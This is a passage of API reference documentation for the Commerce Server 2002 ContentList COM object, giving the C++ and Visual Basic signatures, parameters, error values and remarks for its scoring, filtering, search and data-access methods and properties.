Threshold | float | Contains the Threshold score required for active rows. This property is read/write.
TraceMessages | ISimpleList | Stores the list of TraceMessage strings accumulated for a particular row in the ContentList object. This property is read-only.
TraceMode | VARIANT_BOOL | Stores the TraceMode value. A value of True enables score tracing, a value of False disables it. This property is read/write.
[Visual Basic]
Property | Type | Description
ActiveRows | IRowCollection | The collection of rows that meet the current Threshold and RowLimit properties and that have not been filtered out of the ContentList object. This property is read-only.
AllRows | IRowCollection | The collection of all rows in the ContentList object. This property is read-only.
Count | Long | Stores the number of rows in the ContentList object. This property is read/write.
Factory | IContentListFactory | Stores a reference to the ContentListFactory object that created this ContentList object. This property is read-only.
Fields | Fields | The Fields collection for a particular row in the ContentList object. This property is read-only.
RowLimit | Long | Stores the maximum number of rows that can exist in the ActiveRows collection property. This property is read/write.
Sorted | Boolean | Stores a flag that controls whether the rows in the ActiveRows collection property are returned sorted by score. This property is read/write.
Threshold | Float | Stores the Threshold score that items must meet to be included in the ActiveRows collection property. This property is read/write.
TraceMessages | ISimpleList | Stores the list of TraceMessage strings accumulated for a particular row in the ContentList object. This property is read-only.
TraceMode | Boolean | Stores the TraceMode value. A value of True enables score tracing, a value of False disables it. This property is read/write.

Remarks

Both the ContentList object and the ContentListFactory object implement a common interface, IDataContainer. Therefore, they share the following methods and properties, which are functionally identical on both objects:

Properties:

  • AllRows
  • Count
  • Fields

Methods:

  • BuildIndex
  • GetData
  • Search
  • SetData

The function of a ContentList object is:

  • To aggregate private data in the ContentList object with shared data in the ContentListFactory object.
  • To provide functionality for scoring, searching, and filtering the list of content.

[C++] The ContentList object is a dependent object. Create a new ContentList object and obtain a pointer to its IContentList interface by calling the method IContentListFactory::CreateNewContentList.

[Visual Basic] The ContentList object is a dependent object. Create a new ContentList object by calling the method ContentListFactory.CreateNewContentList.

Important

  • The ContentList and the ContentListFactory objects are designed to be run in-process with their clients. The GetData and SetData methods assume direct memory access for performance reasons.


IContentList Methods [C++]

ContentList Methods [Visual Basic]

Methods

[C++]
Method | Description
AdjustScore | Adjusts the score associated with an item in the ContentList object by applying a multiplier.
BuildIndex | Builds an index on the specified column.
Filter | Filters items in a ContentList object based on the specified criteria.
GetData | Gets data from a specified row and column in a ContentList object in a high-performance, non-scriptable manner.
GetScore | Gets the score of an item in a ContentList object.
Search | Returns a RowCollection object containing the collection of content items that match the search criteria.
SetData | Sets data at a specified row and column in a ContentList object in a high-performance, non-scriptable manner.
SetScore | Sets the score of an item in a ContentList object.
[Visual Basic]
Method | Description
AdjustScore | Adjusts the score associated with an item in the ContentList object by applying a multiplier.
BuildIndex | Builds an index on all rows based on the specified column.
Filter | Filters items in a ContentList object based on the specified criteria.
GetData | This method is not usable from Microsoft Visual Basic or Microsoft Visual Basic Scripting Edition (VBScript).
GetScore | Gets the score of an item in a ContentList object.
Search | Returns a collection of content items that match the search criteria.
SetData | This method is not usable from Microsoft Visual Basic or Microsoft Visual Basic Scripting Edition (VBScript).
SetScore | Sets the score of an item in a ContentList object.


IContentList::AdjustScore Method [C++]

ContentList.AdjustScore Method [Visual Basic]

Use this method to adjust the score of an item in the ContentList object by applying a multiplier.

Definition

[C++]
HRESULT IContentList::AdjustScore(
 long RowNum,
 float Multiplier,
 BSTR Component,
 BSTR Description
);
[Visual Basic]
Sub AdjustScore(
 RowNum As Long,
 Multiplier As Float,
 Component As String,
 Description As String
)

Parameters

RowNum [C++]
[in] A long that contains the position of the item in the ContentList object for which the score is to be adjusted. Positions are counted from zero (0), not from one (1).
RowNum [Visual Basic]
A Long that contains the position of the item in the ContentList object for which the score is to be adjusted. Positions are counted from zero (0), not from one (1).
Multiplier [C++]
[in] A float that contains the value by which the score will be multiplied.
Multiplier [Visual Basic]
A Float that contains the value by which the score will be multiplied.
Component [C++]
[in,optional] A BSTR that contains an identifier for the pipeline component that is adjusting the score. By convention, this is the Programmatic Identifier (ProgID) of the pipeline component.
Component [Visual Basic]
An optional String that contains an identifier for the pipeline component that is adjusting the score. By convention, this is the ProgID of the pipeline component.
Description [C++]
[in,optional] A BSTR that contains a description to be appended to the score adjustment tracing string. This string should briefly describe the nature of the adjustment.
Description [Visual Basic]
An optional String that contains a description to be appended to the score adjustment tracing string. This string should briefly describe the nature of the adjustment.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Component and Description parameters are optional. They are ignored unless the TraceMode property is set to True.

This method assumes that the ContentList object has a column of type CLCOL_R4 with the CLCOL_SCORE_COLUMN flag set.

[Visual Basic]

Example

myContentList.AdjustScore 1, 1.25

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object


IContentList::BuildIndex Method [C++]

ContentList.BuildIndex Method [Visual Basic]

Use this method to build an index for a specific column in a ContentList object.

Definition

[C++]
HRESULT IContentList::BuildIndex(
 VARIANT vCol
);
[Visual Basic]
Sub BuildIndex(
 vCol As Variant
)

Parameters

vCol [C++]
[in] A VARIANT that identifies the column for which the index will be built. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.
vCol [Visual Basic]
A Variant that identifies the column for which the index will be built. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

S_FALSE
An index already exists on the column.

Remarks

An index can be built on any read-only, non-private column that is of type string, integer, or array of strings or integers. (CLCOL_READONLY and not CLCOL_PRIVATE). Also, only columns of type CLCOL_I2, CLCOL_I4, CLCOL_STRING, and CLCOL_VARIANTARRAY can be indexed. The non-private restriction means that the column will actually reside in the corresponding ContentListFactory object.

If a search is conducted on a column for which no index yet exists, the index is automatically created. This means that, although you are never required to call the BuildIndex method, you may want to incur the cost of creating the index at a known time for performance sake.

This method is functionally identical to the one of the same name in the ContentListFactory object.

[Visual Basic]

Example

myDataContainer.BuildIndex 10

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object


IContentList::Filter Method [C++]

ContentList.Filter Method [Visual Basic]

Use this method to filter items in a ContentList object. Items that do not pass the filter have their scores set to zero (0).

Definition

[C++]
HRESULT IContentList::Filter(
 VARIANT vColumn,
 VARIANT vFilterCriteria,
 FilterActionEnum FilterAction,
 BSTR Component
);
[Visual Basic]
Sub Filter(
 vColumn As Variant,
 vFilterCriteria As Variant,
 FilterAction As FilterActionEnum,
 Component As String
)

Parameters

vColumn [C++]
[in] A VARIANT that identifies the column upon which to filter. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.
vColumn [Visual Basic]
A Variant that identifies the column for which the index will be built. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.
vFilterCriteria [C++]
[in] A VARIANT that contains the filter criterion. The criterion is usually a BSTR, an integer, or a SAFEARRAY of VARIANTS containing BSTRs or integers.
vFilterCriteria [Visual Basic]
A Variant that contains the filter criterion. The criterion is either a single String, an array of Strings, or an Integer.
FilterAction [C++]
[in] An enumeration value. Valid values are FILTER_REQUIRE and FILTER_EXCLUDE. See the Remarks section for more information about the consequences of these two actions.
FilterAction [Visual Basic]
An enumeration value. Valid values are FILTER_REQUIRE and FILTER_EXCLUDE. See the Remarks section for more information about the consequences of these two actions.
Component [C++]
[in,optional] A BSTR that is intended to contain the name of the pipeline component doing the filtering. This parameter is optional and is used for score tracing. Trace messages will be generated for content items that are filtered out.
Component [Visual Basic]
A String that is intended to contain the name of the pipeline component doing the filtering. This parameter is optional and is used for score tracing. Trace messages will be generated for content items that are filtered out.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

An item in the ContentList object matches the criteria if the value for the specified column exactly matches a string or number passed in the vFilterCriteria parameter. If the vFilterCriteria parameter is an array of strings, matching any one of the strings in the array is considered a match. If the FilterAction parameter is set to FILTER_REQUIRE, non-matching items have their scores set to zero (0). If the FilterAction parameter is set to FILTER_EXCLUDE, matching items have their scores set to zero (0).

For the sake of uniformity, the pipeline components provided with Commerce Server 2002 pass their own Programmatic Identifier (ProgID) for the Component parameter.

[Visual Basic]

Example

myContentList.Filter "Score", 3, FILTER_EXCLUDE

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object


IContentList::GetData Method [C++]

ContentList.GetData Method [Visual Basic]

[C++] Use this method to read data from a specified row and column in a ContentList object, and through aggregation, the corresponding ContentListFactory object.

[C++] This is one of the two ContentList methods that do not support a scriptable interface. The other method is SetData. They are only intended for use in C++.

[Visual Basic] Due to performance considerations and compatibility issues, this method cannot be used from Microsoft Visual Basic or Microsoft Visual Basic Scripting Edition (VBScript).

[C++]

Definition

HRESULT IContentList::GetData(
 long iRow,
 long iCol,
 BYTE* pData
);
[C++]

Parameters

iRow
[in] A long that contains the position of the row from which the data should be read. Row positions are counted from zero (0), not one (1).
iCol
[in] A long that contains the position of the column within the specified row from which the data should be read. Column positions are counted from zero (0), not one (1).
pData
[out] A pointer to where the data should be written.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[C++]

Error Values

This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[C++]

Remarks

The GetData method does not do type checking. The memory pointed to by the pData parameter must be large enough to receive the value being read. If the allotted memory is too small, memory corruption occurs.

The ContentList object stores some types of data by value and other types of data by reference. Therefore, how you use the GetData and SetData methods depends on the data type.

When you pass a pointer to a String to the SetData method, it stores the String in the ContentList object, not the pointer. The GetData method returns a pointer to the String in the ContentList object, but not the String. Do not hold a reference to the String in the ContentList object beyond the lifetime of the object, as it will be invalid after the object is destroyed. The ContentList object only stores wide character Unicode strings. ANSI strings are not supported.

When you pass an interface pointer to an object to the SetData method, it calls AddRef on the interface pointer and stores it in the ContentList object. The GetData method returns this pointer and calls AddRef on it. The caller must call release on the pointer returned by the GetData method.

When you pass a pointer to a SafeArray to the SetData method, it locks the SafeArray and stores a reference to it in the ContentList object. The GetData method returns a reference to the locked array. The caller should not unlock the array as this could invalidate the reference stored in the ContentList object. It is safe to store the array in a Variant of type VT_ARRAY or VT_VARIANT, as a call to ::VariantClear will not release the SafeArray because it is locked. When the ContentList object is being destroyed the SafeArray will be unlocked and SafeArrayDestroy will be called. Since SafeArrays have a lock count similar to reference counting the array data will be released only if the lock count is zero.

GetData reads and SetData stores all other supported data types by value.

This method is functionally identical to the one of the same name in the ContentListFactory object.

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object


IContentList::GetScore Method [C++]

ContentList.GetScore Method [Visual Basic]

Use this method to retrieve the score of an item in a ContentList object.

Definition

[C++]
HRESULT IContentList::GetScore(
 long RowNum,
 float* Score
);
[Visual Basic]
Function GetScore(
 RowNum As Long
) As Float

Parameters

RowNum [C++]
[in] A long that contains the position of the item in the ContentList object for which the score will be returned. Positions are counted from zero (0), not from one (1).
RowNum [Visual Basic]
A Long that contains the position of the item in the ContentList object for which the score will be returned. Positions are counted from zero (0), not from one (1).
Score [C++]
[out,retval] A pointer to a float used to return the score for the specified item.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a Float that contains the score for the specified item.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

[Visual Basic]

Example

'sngScore is a float
sngScore = myContentList.GetScore(12)

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object


IContentList::Search Method [C++]

ContentList.Search Property [Visual Basic]

Use this method to create a RowCollection object that allows access to each item in the ContentList object that matches the specified criterion.

Definition

[C++]
HRESULT IContentList::Search(
 VARIANT vCol,
 VARIANT vSearchCriteria,
 IRowCollection** ppIRowCollection
);
[Visual Basic]
Function Search(
 vCol As Variant,
 vSearchCriteria As Variant
) As IRowCollection

Parameters

vCol [C++]
[in] A VARIANT that identifies the column to search. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.
vCol [Visual Basic]
A VARIANT that identifies the column to search. The column is identified by either a number representing a column position, starting at zero (0), or a string containing a column name.
vSearchCriteria [C++]
[in] A VARIANT that contains the filter criterion. The criterion is usually a BSTR, an integer, or a SAFEARRAY of VARIANTS containing BSTRs or integers. The Search method will attempt to coerce other types to the type of the column being searched.
vSearchCriteria [Visual Basic]
A Variant that contains the filter criterion. The criterion is usually a String, an array of Strings, or an Integer. An attempt will be made to coerce other types to the type of the column being searched.
ppIRowCollection [C++]
[out,retval] A pointer to an address to receive an IRowCollection interface pointer for a new RowCollection object that allows access to the rows that match the search criteria.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] If this method completes successfully, it returns a reference to a new RowCollection object that contains one row for each matching item.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

The following standard COM error value has a particular meaning in the context of this method.

S_FALSE
No rows in the ContentList object matched the filter criteria. As a result, the returned RowCollection is empty.

Remarks

Columns must be shared (not private) and read-only in order to be indexed and searched. Columns must also be of type string, integer (long or short), or variant array to be searchable. The search criteria may be any variant type that can be coerced to the type of the column being searched.

When the search criteria is an array of variants, the set of rows returned contains all rows that match any of the search criteria array elements. It is a union of the matches.

This property is functionally identical to the one of the same name in the ContentListFactory object.

[Visual Basic]

Example

'myCol is a RowCollection object
Set myCol = myContentList.Search(10, "CarAds")

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object


IContentList::SetData Method [C++]

ContentList.SetData Property [Visual Basic]

[C++] Use this method to write data to a specified row and column in a ContentList object and, through aggregation, to the corresponding ContentListFactory object.

[C++] This is one of the two ContentList methods that do not support a scriptable interface. The other method is GetData. They are only intended for use in C++.

[Visual Basic] Due to performance considerations, this method cannot be used from Microsoft Visual Basic or Microsoft Visual Basic Scripting Edition (VBScript).

Definition

[C++]
HRESULT IContentList::SetData(
 long iRow,
 long iCol,
 BYTE* pData
);

Parameters

[C++]
iRow
[in] A long that contains the position of the row into which the data should be written. Row positions are counted from zero (0), not one (1).
iCol
[in] A long that contains the position of the column within the specified row into which the data should be written. Column positions are counted from zero (0), not one (1).
pData
[in] A pointer to the data to write into the ContentList object.

Return Values

[C++]

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++]

This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

Remarks

[C++]

The SetData method does not do type checking for the data being written. The data pointed to by the pData parameter must be of the correct type for the column. Type (and especially size) mismatches will not result in memory scribbles (which is possible with the GetData method), but some of the data may not be written into the ContentList object.

The ContentList object stores some types of data by value and other types of data by reference. Therefore, how you use the GetData and SetData methods depends on the data type.

When you pass a pointer to a String to the SetData method, it stores the String in the ContentList object, not the pointer. The GetData method returns a pointer to the String in the ContentList object, but not the String. Do not hold a reference to the String in the ContentList object beyond the lifetime of the object, as it will be invalid after the object is destroyed. The ContentList object only stores wide character Unicode strings. ANSI strings are not supported.

When you pass an interface pointer to an object to the SetData method, it calls AddRef on the interface pointer and stores it in the ContentList object. The GetData method returns this pointer and calls AddRef on it. The caller must call release on the pointer returned by the GetData method.

When you pass a pointer to a SafeArray to the SetData method, it locks the SafeArray and stores a reference to it in the ContentList object. The GetData method returns a reference to the locked array. The caller should not unlock the array as this could invalidate the reference stored in the ContentList object. It is safe to store the array in a Variant of type VT_ARRAY or VT_VARIANT, as a call to ::VariantClear will not release the SafeArray because it is locked. When the ContentList object is being destroyed the SafeArray will be unlocked and SafeArrayDestroy will be called. Since SafeArrays have a lock count similar to reference counting the array data will be released only if the lock count is zero.

GetData reads and SetData stores all other supported data types by value.

Objects must be "both threaded" and must aggregate the Free Threaded Marshaller object in order to be stored in a ContentList object. If you ignore this restriction, marshalling errors may occur.

This method is functionally identical to the one of the same name in the ContentListFactory object.

Caution

  • Because ContentList objects do not perform synchronization or locking, take caution when you are writing string, array, or object values in multi-threaded scenarios. Race conditions could exist that might result in resource leaks.

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object


IContentList::SetScore Method [C++]

ContentList.SetScore Property [Visual Basic]

Use this method to set a new score for an item in a ContentList object.

Definition

[C++]
HRESULT IContentList::SetScore(
 long RowNum,
 float Score,
 BSTR Component,
 BSTR Description
);
[Visual Basic]
Sub SetScore(
 RowNum As Long,
 Score As Float,
 Component As String,
 Description As String
)

Parameters

RowNum [C++]
[in] A long that contains the position of the item in the ContentList object for which a new score will be set. Positions are counted from zero (0), not from one (1).
RowNum [Visual Basic]
A Long that contains the position of the item in the ContentList object for which a new score will be set. Positions are counted from zero (0), not from one (1).
Score [C++]
[in] A float that contains the new score.
Score [Visual Basic]
A Float that contains the new score.
Component [C++]
[in,optional] A BSTR that is intended to contain the name of the pipeline component that is setting the new score. This parameter is optional and is used for score tracing.
Component [Visual Basic]
A String that is intended to contain the name of the pipeline component that is setting the new score. This parameter is optional and is used for score tracing.
Description [C++]
[in,optional] A BSTR that is intended to contain the reason that the score is being set; for example, Need of Delivery. This parameter is optional and is used for score tracing.
Description [Visual Basic]
A String that is intended to contain the reason that the score is being set; for example, Need of Delivery. This parameter is optional and is used for score tracing.

Return Values

[C++] This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

[Visual Basic] None.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This method sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Component and Description parameters are optional.

This method assumes that the ContentList object has a column of type CLCOL_R4 with the CLCOL_SCORE_COLUMN flag set.

For the sake of uniformity, pipeline components provided with Commerce Server 2002 pass the Programmatic Identifier (ProgID) of the component for the Component parameter.

[Visual Basic]

Example

'strProgID is a string
myContentList.SetScore(123456, 0.5, strProgID, "")

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object


IContentList Properties [C++]

ContentList Properties [Visual Basic]

Properties

[C++]
Property | Type | Description
ActiveRows | IRowCollection | The collection of rows that meet the current Threshold and RowLimit properties and that have not been filtered out of the ContentList object. This property is read-only.
AllRows | IRowCollection | Contains a RowCollection object containing all rows in this ContentList object. This property is read-only.
Count | long | Contains the number of rows in this ContentList object. This property is read/write.
Factory | IContentListFactory | Contains the ContentListFactory object that created this ContentList object. This property is read-only.
Fields | Fields | Contains the Fields collection for this ContentList object. This property is read-only.
RowLimit | long | Contains the maximum number of active rows. This property is read/write.
Sorted | VARIANT_BOOL | Stores a flag that controls whether the rows in the ActiveRows collection property are returned sorted by score. This property is read/write.
Threshold | float | Contains the Threshold score required for active rows. This property is read/write.
TraceMessages | ISimpleList | Stores the list of TraceMessage strings accumulated for a particular row in the ContentList object. This property is read-only.
TraceMode | VARIANT_BOOL | Stores the TraceMode value. A value of True enables score tracing, a value of False disables it. This property is read/write.
[Visual Basic]
Property | Type | Description
ActiveRows | IRowCollection | The collection of rows that meet the current Threshold and RowLimit properties and that have not been filtered out of the ContentList object. This property is read-only.
AllRows | IRowCollection | The collection of all rows in the ContentList object. This property is read-only.
Count | Long | Stores the number of rows in the ContentList object. This property is read/write.
Factory | IContentListFactory | Stores a reference to the ContentListFactory object that created this ContentList object. This property is read-only.
Fields | Fields | The Fields collection for a particular row in the ContentList object. This property is read-only.
RowLimit | Long | Stores the maximum number of rows that can exist in the ActiveRows collection property. This property is read/write.
Sorted | Boolean | Stores a flag that controls whether the rows in the ActiveRows collection property are returned sorted by score. This property is read/write.
Threshold | Float | Stores the Threshold score that items must meet to be included in the ActiveRows collection property. This property is read/write.
TraceMessages | ISimpleList | Stores the list of TraceMessage strings accumulated for a particular row in the ContentList object. This property is read-only.
TraceMode | Boolean | Stores the TraceMode value. A value of True enables score tracing, a value of False disables it. This property is read/write.


IContentList::get_ActiveRows Property [C++]

ContentList.ActiveRows Property [Visual Basic]

The ActiveRows property returns a RowCollection object. This property is read-only; however, the RowCollection object is read/write. Changes made to the data within the RowCollection object are also reflected in the ContentList object.

Definition

[C++]
Get method:
HRESULT IContentList::get_ActiveRows(
 IRowCollection** ActiveRows
);
[Visual Basic]
Property ActiveRows() As IRowCollection

Parameters

ActiveRows [C++]
[out,retval] The address of a pointer used to return the IRowCollection interface of a RowCollection object that allows access the set of active items in this ContentList object.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The ActiveRows RowCollection object allows access to the content items of the ContentList object whose score is greater than or equal to the current threshold score contained in the Threshold property. If the value of the Threshold property is set to a negative number, even items that have been filtered out by the Filter method might be included in the ActiveRows collection. This occurs because an item being filtered out has a score set to zero, which is still greater than a negative threshold value.

Regardless of the number of items with scores above the threshold, the number of items in the ActiveRows object is limited by the RowLimit property.

The order of the rows in the ActiveRows collection is undefined unless the Sorted property is set to True.

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object

[C++] RowCollection Object

[Visual Basic] RowCollection Object


IContentList::get_AllRows Property [C++]

ContentList.AllRows Property [Visual Basic]

The AllRows property returns a new RowCollection object that allows access to the items in the ContentList object and, through aggregation, the ContentListFactory object. The AllRows property is read-only; however, the RowCollection object is read/write. Changes made to the data in the RowCollection object are reflected in the ContentList object.

Definition

[C++]
Get method:
HRESULT IContentList::get_AllRows(
 IRowCollection** AllRows
);
[Visual Basic]
Property AllRows() As IRowCollection

Parameters

AllRows [C++]
[out,retval] The address of a pointer used to return the IRowCollection interface of a RowCollection object that contains all of the items in this ContentList object.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

This property is functionally identical to the one of the same name to be found in the ContentListFactory object.

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object

[C++] RowCollection Object

[Visual Basic] RowCollection Object


IContentList::get_Count, put_Count Property [C++]

ContentList.Count Property [Visual Basic]

The Count property is a read/write number that gets or sets the number of items in a ContentList object.

Definition

[C++]

Get method:

HRESULT IContentList::get_Count(
 long* Count
);

Put method:

HRESULT IContentList::put_Count(
 long Count
);
[Visual Basic]
Property Count() As Long

Parameters

Count [C++]
[in] When putting the property, a long that contains the item count.
[out,retval] When getting the property, a pointer to a long used to return the item count.

[Visual Basic] None.

[C++]

Return Values

These methods return an HRESULT indicating whether they completed successfully. See the Error Values section for more details.

Error Values

[C++] These methods return S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

Normally, the Count property is already fixed when a ContentList object is created by a ContentListFactory object. The property may only be set for ContentList objects that are created by a ContentListFactory object that has not yet had any content items stored in it. Also, the Count property cannot be set to a number smaller than the current setting.

This property is functionally identical to the one of the same name in the ContentListFactory object.

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object


IContentList::get_Factory Property [C++]

ContentList.Factory Property [Visual Basic]

[C++] The Factory property is a read-only pointer to the IContentListFactory interface of the ContentListFactory object that created this ContentList object.

[Visual Basic] The Factory property is a read-only reference to the ContentListFactory object that created this ContentList object.

Definition

[C++]
Get method:
HRESULT IContentList::get_Factory(
 IContentListFactory** Factory
);
[Visual Basic]
Property Factory As ContentListFactory

Parameters

Factory [C++]
[out,retval] The address of a pointer used to return the IContentListFactory interface of the ContentListFactory object that created this ContentList object.

[Visual Basic] None.

[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object


IContentList::get_Fields Property [C++]

ContentList.Fields Property [Visual Basic]

The Fields property creates a new Fields object that allows access to the fields for a specified content item. The Fields property is read-only; however, the Fields object is read/write in that changes made using this object are reflected in the ContentList object.

Definition

[C++]
Get method:
HRESULT IContentList::get_Fields(
 long RowNum,
 Fields** Fields
);
[Visual Basic]
Property Fields(
 RowNum As Long
) As Fields

Parameters

RowNum [C++]
[in] A long that contains the position of the item in the ContentList object for which a Fields object will be returned. Positions are counted from zero (0), not from one (1).
RowNum [Visual Basic]
A Long that contains the position of the item in the ContentList object for which a Fields object will be returned. Positions are counted from zero (0), not from one (1).
Fields [C++]
[out,retval] The address of a pointer used to return a Fields object for the specified row in the ContentList object.
[C++]

Return Values

This method returns an HRESULT indicating whether it completed successfully. See the Error Values section for more details.

Error Values

[C++] This method returns S_OK (0x00000000) to indicate success and standard COM HRESULT error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object, which can be accessed using the API function GetErrorInfo. In particular, the GetDescription method of the IErrorInfo interface may return a text description of the error.

[Visual Basic] This property sets the Number property of the global Err object to S_OK (&H00000000) to indicate success and to standard COM error values to indicate failure. For more information about standard COM errors, see Standard COM Errors. Additional information may be available using the global Err object. In particular, the Description property may contain a text description of the error.

Remarks

The Fields object exposes the same interface as the ActiveX Data Objects (ADO) Fields object.

This property is functionally identical to the one of the same name in the ContentListFactory object.

See Also

[C++] ContentList Object

[Visual Basic] ContentList Object


IContentList::get_RowLimit, put_RowLimit Property [C++]

ContentList.RowLimit Property [Visual Basic]

The RowLimit property is a read/write number that specifies the maximum number of rows that the object should select for the ActiveRows property.

Definition

[C++]

Get method:

HRESULT IContentList::get_RowLimit(
 long* RowLimit
);

Put method:

HRESULT IContentList::put_RowLimit(
 long RowLimit
);
[Visual Basic]
Property RowLimit() As Long

Parameters

RowLimit [C++]
[in] When putting the property, a long that specifies the row limit.
